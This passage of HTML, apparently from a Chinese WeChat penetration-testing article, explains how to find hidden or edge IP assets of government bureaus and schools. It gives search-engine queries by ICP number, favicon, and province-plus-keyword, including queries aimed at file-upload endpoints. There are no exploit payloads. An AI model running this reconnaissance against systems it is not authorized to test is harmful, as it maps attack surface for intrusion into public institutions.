1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3# 针对隐形IP资产的收集</span></span></h3><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3.1 常规测绘语句</span></span></h2><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 32px;list-style: disc;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><p><span leaf="">通过HTML正文包含的ICP备案号进行查询：</span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">body=&#34;京ICP备05049539号&#34; &amp;amp;&amp;amp; country=&#34;CN&#34;</span></code></p></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过企业的Icon图标来进行资产测绘</span></span></li></ul><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002187" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a1267974&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYaBwrZgZdtpB1hw8IHILC2pT5CSBmFrqd17N9ricosWQwPU109FW9aKw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3.2 非常规测绘语句</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">【关键点】林业局、工商局、农业农村局、学校？？怎么测绘边缘资产？</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">重点在于，要根据目标的具体业务熟悉，联想关键词进行Fuzz测绘：林业管理、树木管理、城市规划、招商平台、融资平台、智慧农村、智慧基建、智慧城市、交通管控、智慧交通、智慧校园、智慧课堂、学习平台、学生管理、党建平台、宣发平台、入学系统、学业平台、智慧入学、校园卡、学院系统、智慧就业、智慧社区、社区管理</span></strong></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">重点：首先要打哪个地方的资产，要限定资产的省份/城市：因为一般除了云上资产（CDN等），资产所属IP都在该省/市的范围内</span></strong></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">根据关键词进行省份内测绘：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;智慧农村&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;智慧校园&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;学生管理&#34;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">根据关键词进行管理平台测绘（适合想不到合适业务关键词）：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;校园登录&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;xx管理平台&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;xx管理&#34;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">根据关键词进行文件上传接口测绘：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (body=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;/upload&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;智慧农村&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (body=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;/upload&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;智慧政务&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">(region=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;浙江&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (body=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;/upload&#34;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">and</span></span><span leaf=""> (title=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;入学&#34;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">批量导出==&gt;查看相关的网页Title==&gt;筛选出一批比较符合的资产==&gt;手动验证</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">这一块本身是有很多实战案例的，可惜签了保密协议，很多都不能放出来，就不放出实例了</span></strong></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">且如果这项技能熟能生巧，会有很大的威胁性，想学习或者有疑问的师傅可以私下找我咨询</span></strong></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang 